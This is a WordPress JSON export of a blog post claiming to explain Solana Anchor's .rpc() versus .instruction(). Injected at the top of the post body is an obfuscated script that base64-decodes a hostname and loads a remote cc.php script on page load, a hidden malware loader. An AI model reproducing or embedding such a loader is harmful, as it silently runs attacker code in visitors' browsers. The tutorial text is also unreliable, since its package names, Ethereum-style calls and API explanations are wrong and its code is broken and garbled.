{"id":21028,"date":"2025-02-11T13:15:52","date_gmt":"2025-02-11T13:15:52","guid":{"rendered":"https:\/\/agapau.com\/?p=21028"},"modified":"2025-02-11T13:15:52","modified_gmt":"2025-02-11T13:15:52","slug":"solana-what-is-the-difference-between-rpc-and-instruction-in-anchor-test","status":"publish","type":"post","link":"https:\/\/agapau.com\/?p=21028","title":{"rendered":"Solana: What is the difference between .rpc() and .instruction() in anchor test?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=8dbd3e9a\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Solana: What\u2019s the difference between .rpc() and .instruction() in the anchor test?<\/strong><\/p>\n<p>As a Solana developer, you\u2019re probably familiar with the anchor library, which provides a convenient interface for interacting with the Solana blockchain. Two common functions that can be used to send instructions are .rpc() (remote procedure call) and .instruction(). While they may seem similar, there\u2019s an important difference between them.<\/p>\n<p><strong>.rpc()<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: What is the difference between .rpc() and .instruction() in anchor test?\n\" src=\"https:\/\/agapau.com\/wp-content\/uploads\/2025\/02\/b21e82c5.png\"><\/p>\n<p>The .rpc() function is designed to send requests to the Solana blockchain in a specific way. When you call <code>.rpc()<\/code>, a request is created that can be executed on the blockchain. The request provides instruction metadata, such as the name, signature, and arguments. This metadata allows you to match the request to existing instructions on the blockchain.<\/p>\n<p>Here is an example of how to use \u201c.rpc()\u201d:<\/p>\n<p><pre><code><\/p><p>const anchor = require('@inchor-protocol\/inchors');<\/p><p>\/\/ Create a new account<\/p><p>const accountId = anchor.web3.eth.accounts._new();<\/p><p>\/\/ Define an instruction<\/p><p>const instruction = {<\/p><p>name: \u201cMy instruction\u201d,<\/p><p>arguments: [1, 2, 3],<\/p><p>};<\/p><p>\/\/ Send a request to .rpc()<\/p><p>anchor.rpc().instruction({<\/p><p>address: accountID,<\/p><p>signature: \u201cyour_signature_here\u201d,<\/p><p>data: instruction,<\/p><p>}).then((response) =&gt; console.log(response));<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>.instruction()<\/strong><\/p>\n<p>The \u201c.instruction()\u201d function is used to send instructions directly from an application or script. When you call <code>.instruction()<\/code>, an instruction is created that can be executed on the blockchain without any additional metadata.<\/p>\n<p>Here is an example of how to use <code>.instruction()<\/code>:<\/p>\n<p><pre><code><\/p><p>const anchor = require('@inchor-protocol\/inchors');<\/p><p>\/\/ Create a new account<\/p><p>const accountId = anchor.web3.eth.accounts._new();<\/p><p>\/\/ Define a script<\/p><p>const script = {<\/p><p>code: 'function () { self.addAccount(accountId); }',<\/p><p>};<\/p><p>\/\/ Send the instruction to .instruction()<\/p><p>anchor.rpc().instruction(script).then((response) =&gt; console.log(response));<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Key Differences<\/strong><\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/9WBuXdDGoRc\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>So, what is the key difference between <code>.rpc()<\/code> and <code>.instruction()?<\/p>\n<ul>\n<li><strong>Metadata<\/strong>:<\/code><code>.rpc()<\/code><code>requires metadata about the command, while<\/code><code>.instruction()<\/code><code>does not.<\/li>\n<\/ul>\n<ul>\n<li><strong>Execution<\/strong>:<\/code><code>.rpc()<\/code><code>executes a request to the blockchain, while<\/code><code>.instruction()<\/code><code>can be executed directly by a program or script.<\/li>\n<\/ul>\n<p>In your case, if you are sending an instruction directly using<\/code><code>.rpc()<\/code><code>, the problem is likely related to how you are creating and executing the instruction. Make sure you are providing the correct metadata, such as the account<\/code><code>address<\/code><code>and any additional arguments.<\/p>\n<p>Here is an example of how to create a new command with<\/code><code>.instruction()<\/code><code>and execute it:<\/p>\n<p><\/code> }&#8217;,<\/p>\n<p>};<\/p>\n<p>\/\/ Send the instruction to .instruction()<\/p>\n<p>anchor.rpc().instruction(script).then((response) =&gt; console.log(response));<\/p>\n<p>&#8220;`<\/p>\n<p>To summarize, .rpc() is used to send requests to the blockchain, while .instruction() is used to send instructions directly from an application or script. When creating and executing instructions, make sure you use the correct function and provide the correct metadata.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Solana: What\u2019s the difference between .rpc() and .instruction() in the anchor test? As a Solana developer, you\u2019re probably familiar with<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-21028","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/posts\/21028","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21028"}],"version-history":[{"count":0,"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/posts\/21028\/revisions"}],"wp:attachment":[{"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21028"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21028"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21028"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}